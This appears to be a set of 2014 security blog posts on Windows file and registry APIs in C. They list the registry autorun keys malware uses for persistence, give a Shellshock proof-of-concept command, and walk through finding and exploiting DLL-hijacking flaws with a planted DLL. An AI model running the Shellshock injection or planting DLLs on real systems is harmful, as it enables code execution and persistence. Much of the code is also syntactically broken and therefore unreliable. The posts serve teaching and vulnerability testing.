Wednesday, October 22, 2014

Windows System Programming: File Handling

Creating File

#include <windows.h>
int main()
    LPCTSTR fileName = "testfile.txt";
    char buff_in[512] = "Creating test file using windows API's";
    int bytes_written = 0;
    int status;
    /* */
    fH = CreateFile(fileName, /*lpFileName*/
             GENERIC_READ|GENERIC_WRITE, /* dwDesiredAccess */
             FILE_SHARE_WRITE, /* dwShareMode */
             NULL, /* lpSecurityAttributes */
             CREATE_NEW, /* dwCreationDisposition, Creates a 
                         new file, only if it does not already exist.*/
                         /* dwFlagsAndAttributes, we can also pass 
FILE_FLAG_DELETE_ON_CLOSE to close file once  we are done handling it */              NULL        /* hTemplateFile */                       );     if (fH == INVALID_HANDLE_VALUE) {                printf("Invalid file handle");     }         status = WriteFile(fH, /* hFile */               buff_in, /* lpBuffer */               512, /* nNumberOfBytesToWrite */               &bytes_written, /* lpNumberOfBytesWritten */               NULL /* lpOverlapped */               );     if (status != 0) {         printf("Successfully wrote to file %s", fileName);     }     return 0; }

Snap shot shows execution, file created with text inside and properties set.

#include <windows.h>
int main()
    HANDLE fH, hFind;
    WIN32_FIND_DATA fileData;
    LPCTSTR fileName = "testfile.txt";
    char buff_in[512] = "Creating test file using windows API's";
    int bytes_written = 0;
    int status, ftype, fsize, fsh, binary_type;
    char dir_path[80]="C:\\Documents and Settings\\praveen \
                       \\My Documents\\mal_files\\";
    char file_ext[8] = "*.exe";
    char filepath[128];
    strcpy(filepath, dir_path);
    strcat(filepath, file_ext);   
    /* relative path did not work*/
    hFind = FindFirstFile(filepath, /* lpFileName, */
                       &fileData /* lpFindFileData */ );
    while (hFind != INVALID_HANDLE_VALUE) {
        printf("fileName=%s(%d)\n", fileData.cFileName, GetLastError());
        strcpy(filepath, dir_path);
        strcat(filepath, fileData.cFileName);
        fH = CreateFile(filepath, /*lpFileName*/
                        GENERIC_READ|GENERIC_WRITE, /* dwDesiredAccess */
                        FILE_SHARE_WRITE, /* dwShareMode */
                        NULL, /* lpSecurityAttributes */
                        OPEN_EXISTING, /* dwCreationDisposition, Creates a
                         new file, only if it does not already exist.*/
                         /* dwFlagsAndAttributes */
                         NULL        /* hTemplateFile */);
        if (fH == INVALID_HANDLE_VALUE) {
            if (ERROR_FILE_EXISTS == GetLastError())
                printf("file exists(%d)\n", GetLastError());
                printf("Invalid file handle (%d)\n", GetLastError());
            return -1;   
        printf("Stats of file=\"%s\"\n", filepath);
        ftype = GetFileType(fH);
        fsize = GetFileSize(fH, &fsh);
        GetBinaryType(filepath, &binary_type);
        printf("file type =%d(1=Disk File)\n", ftype);
        printf("file size=%d(%d) bytes\n", fsize, fsh);
        printf("binary_type=%d, error=%d\n", binary_type, GetLastError());
        printf("We can print file attributes from fileData\n");
        if(!FindNextFile(hFind, &fileData)) {
            hFind = INVALID_HANDLE_VALUE;
    return 0;
Somehow binary_type value is not getting printed properly. By using fileData,  we can also print access times, modified time etc.

Sunday, October 5, 2014

Windows System Programming: Registry Handling

Malware (malicious software) uses different techniques to maintain persistence i.e. execute itself after reboot, one of the persistence mechanisms is using Windows Registry modification.

Following are few important registry hives used by Malware
Autostart Directory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Browser Helper Objects (BHO)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects 

Other registries include Autoruns, Terminal Server Autoruns, Registry Shell Spawning, Explorer (say, plugins, addons, toolbars) etc.

Following are different API's for registry manipulation

Headers and Libraries
Winreg.h (include Windows.h)

Predefined Keys

Print suspicious Registries
We are printing suspicious registries, in the example below I had hard coded the values.

#include <windows.h>
int main()
    HKEY hKey;
    DWORD status;
    DWORD type = REG_SZ;
    char sKey[255]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    PPERF_DATA_BLOCK data = (PPERF_DATA_BLOCK) malloc(1024);
    DWORD dsize = 1024;
    status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, /**/
                          sKey, 0, /* lpSubKey, ulOptions */
                          KEY_READ, &hKey /* samDesired, phkResult */
    if (status != ERROR_SUCCESS) {
               printf("Error RegOpenKeyEx\n");
               return 0;
    status = RegQueryValueEx(hKey, "VBoxTray", /* hKey, lpValueName */
                             NULL, &type, /* lpReserved, lpType */
                             (LPBYTE)data, &dsize /* lpData, lpcbData*/
    if (status != ERROR_SUCCESS) {
       MessageBox(0, "Error querying Registry", "Error", 0);  
       return 0;         
    /* Using RegEnumKeyEx, RegEnumValue we can enumerate through 
     * subkeys and value names*/
    printf("\nQuerying Registry HKEY_LOCAL_MACHINE\\%s\n", sKey);
    printf("VBoxTray executes from %s\n", data);
    return 0;   
Add new Registry
RegCreateKeyEx function is used to create new registry key or open already existing keys. A registry tree can be 512 levels deep. We can create up to 32 levels at a time through a single registry API call.
#define MAX_KEY_NAME 255
#define MAX_STR 32
int main()
    HKEY hKey_ptr = NULL;
    DWORD status;
    char data[MAX_STR-1] = "Praveen Darshanam";
    char sKey[MAX_KEY_NAME] = "disects\\Tutorial";
    DWORD createdornot;
    printf("\nAdding new Registry Information\n");
     * desktop/ms724844%28v=vs.85%29.aspx
    status = RegCreateKeyEx(HKEY_CURRENT_USER, /* hKey */
                          sKey, /* lpSubKey */
                          0, NULL, /* Reserved, lpClass */
                          REG_OPTION_NON_VOLATILE, /* dwOptions */
                          KEY_ALL_ACCESS, /* samDesired */
                          NULL, /* lpSecurityAttributes */
                          &hKey_ptr, /* phkResult */
                          &createdornot /* lpdwDisposition */
    if (status != ERROR_SUCCESS) {
               printf("Error RegCreateKeyEx(%d), lpdwDisposition=%u\n",
                      status, createdornot);
               return 0;

    status = RegSetValueEx(hKey_ptr, "Name", /* hKey, lpValueName*/
                           0, REG_SZ, /* Reserved, dwType */
                           data,  strlen(data)/* *lpData, cbData */
    if (status != ERROR_SUCCESS) {  
       printf("Error RegSetValueEx(%d)\n", status);
       return 0;         
    printf("Value of createdornot(lpdwDisposition)=%u\n", createdornot);
    printf("Successfully created registry HKEY_CURRENT_USER\\%s\n", sKey);
    return 0;   

Modify/Delete Registry
RegDeleteKeyEx function can be used to remove any registry.
In the above program call RegDeleteKeyEx function before final return.
RegDeleteKeyEx(hKey_ptr, sKey, KEY_WOW64_32KEY, 0);

Friday, September 26, 2014

Shellshock and Cygwin

Cygwin is a *nix like Command Line Interface (CLI) for Windows Operating Systems.

Cygwin by default ships with 4.1.x version at the time of my testing which has shellshock (CVE-2014-6271) vulnerability, use "bash --version" to check current  version of bash shell.

To check the Vulnerability execute below PoC
$ env x='() { :;}; echo vulnerable' bash -c 'echo Exploited!!'

Dissecting the PoC
env      command used to print environment variables or modify the environment where program executes
x          environment variable/ function name
{ :;};    function definition
echo vulnerable' bash -c 'echo Exploited!!' is the malicious data after function definition.

Due to the vulnerability shell is interpreting the arbitrary commands after the termination of the function definition and executing entire text of environment variables value.

Same PoC command can be used on different Linux distributions for testing the presence of shellshock vulnerability.

Many Linux distributions already released patch for CVE-2014-6271, has lead to new vulnerability, CVE-2014-7169 which is less severe compared to shellshock.

Sunday, September 21, 2014

Finding and Exploiting DLL Injection Vulnerabilities

We need Process Monitor tool, part of sysinternals tools for finding the Vulnerability.

Loading of non-existent Dynamic Linked Libraries (DLL's) for the process under analysis can be found using below Process Monitor filter

Process Name      is                    wab.exe then                      Include 
Path                        ends with      .dll then                                Include 
Result                    is                    NAME NOT FOUND then Include

Above Filter and Snapshot shows that Login.exe couldn't find DLL's SXS.dll, CLBCATQ.dll etc.
Created DLL with following Code and rename the DLL to any of SXS.dll, CLBCATQ.dll and copy to the path from where we are executing our vulnerable binary.

#include <windows .h>
#include <stdio .h>
#include <string .h>

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  fdwReason,LPVOID lpReserved)
 MessageBox(NULL,L"DLL Injection by Disects !",
    L"developed by Praveen Darshanam",

 return TRUE;

Search the DLL we injected
When we execute Login.exe binary our DLL is injected and executes code present in the DLL.

To execute calculator we can use below code
    #include <windows .h>

    int exec_calc()
      WinExec("calc", 0);
      return 0;

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, 
                        LPVOID lpvReserved)
      return 0;